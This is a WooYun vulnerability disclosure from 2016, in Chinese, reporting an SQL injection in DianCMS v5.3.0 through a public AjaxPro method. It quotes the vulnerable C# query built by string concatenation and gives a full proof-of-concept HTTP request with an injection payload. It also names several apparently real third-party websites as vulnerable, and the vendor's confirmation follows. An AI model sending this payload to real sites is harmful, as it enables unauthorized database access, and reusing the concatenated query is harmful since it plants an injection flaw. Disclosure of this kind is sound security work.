当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168087

漏洞标题:易点cms最新版v5.3.0sql注入(demo演示)

相关厂商:diancms.com

漏洞作者: 不能忍

提交时间:2016-01-08 13:44

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

sql注入没有过滤的

详细说明:

D.BLL.B_KF_Message

public void SessionRobotAdd(string content)
{
M_SiteKF m_SiteKF = new M_SiteKF();
B_SiteKF b_SiteKF = new B_SiteKF();
m_SiteKF = b_SiteKF.GetModel();
this.Add(new M_KF_Message
{
UserId = 0,
UserName = string.Empty,
SessionId = this.SessionValue(),
Content = content,
IsUser = 0,
IsSession = 0,
Ip = Function.GetIp(),
AddTime = DateTime.Now,
UpdateTime = DateTime.Now
});
if (B_KF_Message.SessionList.IndexOf(this.SessionValue()) == -1)
{
B_KF_Message.SessionList.Add(this.SessionValue());
}
B_KF_Robot b_KF_Robot = new B_KF_Robot();
DataTable keyWord = b_KF_Robot.GetKeyWord(content);


这个方法SessionRobotAdd有趣的是public,也就是说谁都可以调用的。
这里有个GetKeyWord函数,跟进之后在dao层是这么写的:

public DataTable GetKeyWord(string word)
{
string value = "select * from [D_KF_Robot] where Title like '%" + word + "%'";
SqlParameter[] array = new SqlParameter[]
{
new SqlParameter("@sql", SqlDbType.NVarChar, 4000)
};
array[0].Value = value;
return SqlHelper.ExecuteTable(CommandType.StoredProcedure, "Dian_Model_ExecuteSql", array);
}


没有过滤额。。
测试大概是这样的:
POST /ajaxpro/D.BLL.B_KF_Message,D.BLL.ashx
X-AjaxPro-Method: SessionRobotAdd
{"content":"test%' and @@version>0--"}
其中有必要说明一下:X-AjaxPro-Method: SessionRobotAdd这个是头的信息,同时SessionRobotAdd是个方法,上面说到的。

漏洞证明:

这里提供一下我测试的数据包把:
POST /ajaxpro/D.BLL.B_KF_Message,D.BLL.ashx HTTP/1.1
Host: www.diancms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain; charset=utf-8
X-AjaxPro-Method: SessionRobotAdd
Content-Length: 38
Connection: keep-alive
{"content":"test%' and @@version>0--"}
回显大概是这样的:

1.png


行,给实例。。蛋疼。
http://www.chinawatchnet.com/

demo2.png


http://www.topzk.com/

demo1.png


http://www.123369.com/

demo3.png


http://www.msfc.cn/

demo4.png


http://www.17huanbao.com/

demo5.png


http://wnsail.com/

demo6.png

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-01-08 13:57

厂商回复:

可以加一下官方的QQ详细反馈一下这个问题吗?

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-08 14:00 | 易点CMS(乌云厂商)

    确实有注入的风险。我们通知技术调整一下。多谢反馈。